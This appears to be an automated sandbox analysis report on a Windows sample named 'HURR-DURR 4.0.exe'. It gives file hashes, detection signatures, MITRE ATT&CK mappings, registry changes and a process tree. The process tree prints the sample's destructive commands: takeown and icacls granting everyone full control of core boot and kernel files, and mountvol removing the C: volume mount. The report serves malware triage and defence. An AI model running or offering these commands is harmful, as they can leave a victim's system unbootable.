39d024d9d590f29e0e522f1e41ac4e5c7bf67ebd261b3fa939b6e0ee883acc59

Resubmissions

12/04/2023, 20:30

230412-zadedagd5s 8

12/04/2023, 20:26

230412-y7t8qaeh72 8

26/03/2023, 16:01

230326-tgmzhahb39 8

Analysis

max time kernel
90s
max time network
96s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
12/04/2023, 20:26

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General

Target

HURR-DURR 4.0.exe
Size

1.7MB
MD5

709002961b4a3d18185690cf820c4758
SHA1

9e45ade994f2d711f12fd1bdd24c76c29190d919
SHA256

39d024d9d590f29e0e522f1e41ac4e5c7bf67ebd261b3fa939b6e0ee883acc59
SHA512

a759d2c16eb3166714d0422e931458ea1bac942f440bd159f7a130e9edaef2fe13090adb4de0ef65d6f66446d929f2152e879d1949c4860654564e9e8f8be916
SSDEEP

12288:JoSWNTJ4Yo1VFnA4r5rraOVokssOcnh2tbbLqhS8aKxk:JoS2TJJo1V6u5rraOVouOcn4tbbR8aqk

Score

8^/10

discovery exploit

Malware Config

Signatures

Possible privilege escalation attempt 12 IoCs

exploit

pid	Process
1524	takeown.exe
1100	takeown.exe
964	takeown.exe
932	icacls.exe
2024	icacls.exe
1696	takeown.exe
1408	takeown.exe
752	takeown.exe
1488	icacls.exe
1948	icacls.exe
1896	icacls.exe
1836	icacls.exe

Modifies file permissions 1 TTPs 12 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1696	takeown.exe
1524	takeown.exe
964	takeown.exe
1488	icacls.exe
932	icacls.exe
1836	icacls.exe
2024	icacls.exe
752	takeown.exe
1408	takeown.exe
1100	takeown.exe
1948	icacls.exe
1896	icacls.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{073FE571-D981-11ED-927D-F2C06CA9A191} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "387500239"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 30083de18d6dd901	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	752	takeown.exe
Token: SeTakeOwnershipPrivilege	1696	takeown.exe
Token: SeTakeOwnershipPrivilege	1524	takeown.exe
Token: SeTakeOwnershipPrivilege	1408	takeown.exe
Token: SeTakeOwnershipPrivilege	1100	takeown.exe
Token: SeTakeOwnershipPrivilege	964	takeown.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
516	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
516	iexplore.exe
516	iexplore.exe
1468	IEXPLORE.EXE
1468	IEXPLORE.EXE
1468	IEXPLORE.EXE
1468	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 1984 wrote to memory of 960	1984	HURR-DURR 4.0.exe	28
PID 1984 wrote to memory of 960	1984	HURR-DURR 4.0.exe	28
PID 1984 wrote to memory of 960	1984	HURR-DURR 4.0.exe	28
PID 1984 wrote to memory of 960	1984	HURR-DURR 4.0.exe	28
PID 960 wrote to memory of 516	960	cmd.exe	29
PID 960 wrote to memory of 516	960	cmd.exe	29
PID 960 wrote to memory of 516	960	cmd.exe	29
PID 960 wrote to memory of 752	960	cmd.exe	30
PID 960 wrote to memory of 752	960	cmd.exe	30
PID 960 wrote to memory of 752	960	cmd.exe	30
PID 960 wrote to memory of 1696	960	cmd.exe	31
PID 960 wrote to memory of 1696	960	cmd.exe	31
PID 960 wrote to memory of 1696	960	cmd.exe	31
PID 960 wrote to memory of 1524	960	cmd.exe	32
PID 960 wrote to memory of 1524	960	cmd.exe	32
PID 960 wrote to memory of 1524	960	cmd.exe	32
PID 960 wrote to memory of 1408	960	cmd.exe	33
PID 960 wrote to memory of 1408	960	cmd.exe	33
PID 960 wrote to memory of 1408	960	cmd.exe	33
PID 960 wrote to memory of 1100	960	cmd.exe	34
PID 960 wrote to memory of 1100	960	cmd.exe	34
PID 960 wrote to memory of 1100	960	cmd.exe	34
PID 960 wrote to memory of 964	960	cmd.exe	35
PID 960 wrote to memory of 964	960	cmd.exe	35
PID 960 wrote to memory of 964	960	cmd.exe	35
PID 960 wrote to memory of 1488	960	cmd.exe	36
PID 960 wrote to memory of 1488	960	cmd.exe	36
PID 960 wrote to memory of 1488	960	cmd.exe	36
PID 516 wrote to memory of 1468	516	iexplore.exe	38
PID 516 wrote to memory of 1468	516	iexplore.exe	38
PID 516 wrote to memory of 1468	516	iexplore.exe	38
PID 516 wrote to memory of 1468	516	iexplore.exe	38
PID 960 wrote to memory of 1948	960	cmd.exe	39
PID 960 wrote to memory of 1948	960	cmd.exe	39
PID 960 wrote to memory of 1948	960	cmd.exe	39
PID 960 wrote to memory of 1896	960	cmd.exe	40
PID 960 wrote to memory of 1896	960	cmd.exe	40
PID 960 wrote to memory of 1896	960	cmd.exe	40
PID 960 wrote to memory of 1836	960	cmd.exe	41
PID 960 wrote to memory of 1836	960	cmd.exe	41
PID 960 wrote to memory of 1836	960	cmd.exe	41
PID 960 wrote to memory of 932	960	cmd.exe	42
PID 960 wrote to memory of 932	960	cmd.exe	42
PID 960 wrote to memory of 932	960	cmd.exe	42
PID 960 wrote to memory of 2024	960	cmd.exe	43
PID 960 wrote to memory of 2024	960	cmd.exe	43
PID 960 wrote to memory of 2024	960	cmd.exe	43
PID 960 wrote to memory of 832	960	cmd.exe	44
PID 960 wrote to memory of 832	960	cmd.exe	44
PID 960 wrote to memory of 832	960	cmd.exe	44

C:\Users\Admin\AppData\Local\Temp\HURR-DURR 4.0.exe
"C:\Users\Admin\AppData\Local\Temp\HURR-DURR 4.0.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4BC1.tmp\4BC2.tmp\4BC3.bat "C:\Users\Admin\AppData\Local\Temp\HURR-DURR 4.0.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:960
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" https://hurr-durr.cc/
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:516
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:516 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1468
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\windows\system32\winload.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:752
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\windows\system32\winresume.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1696
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\windows\system32\ntoskrnl.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1524
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\windows\system32\hal.dll"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1408
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\windows\system32\ntdll.dll"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1100
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\windows\system32\ci.dll"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:964
- - C:\Windows\system32\icacls.exe
    icacls "C:\windows\system32\winload.exe" /grant everyone:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1488
- - C:\Windows\system32\icacls.exe
    icacls "C:\windows\system32\winresume.exe" /grant everyone:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1948
- - C:\Windows\system32\icacls.exe
    icacls "C:\windows\system32\ntoskrnl.exe" /grant everyone:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1896
- - C:\Windows\system32\icacls.exe
    icacls "C:\windows\system32\hal.dll" /grant everyone:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1836
- - C:\Windows\system32\icacls.exe
    icacls "C:\windows\system32\ntdll.dll" /grant everyone:F /t /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:932
- - C:\Windows\system32\icacls.exe
    icacls "C:\windows\system32\ci.dll" /grant everyone:F /t /c├º
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2024
- - C:\Windows\system32\mountvol.exe
    mountvol C:\ /d
    3⤵
    PID:832

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\4BC1.tmp\4BC2.tmp\4BC3.bat

Filesize
1003B

MD5
fea29a2bbc979a1a83a9887b62240d6e

SHA1
b6c1ab3b84f50a1aa567c311b77fade00379b006

SHA256
abb42b3699e20f9208261c9ef6105f29be0c1005b47e966b5dd9a78845b6dcb6

SHA512
c8ed4b01d15956e668cf4ce215efd0e3708405a3aa2dff30c4a5e4e5a86959308c832f14a4d19b1c0ef9b1491e24fcf8d3388dc155911784b3b8d5b25f790164

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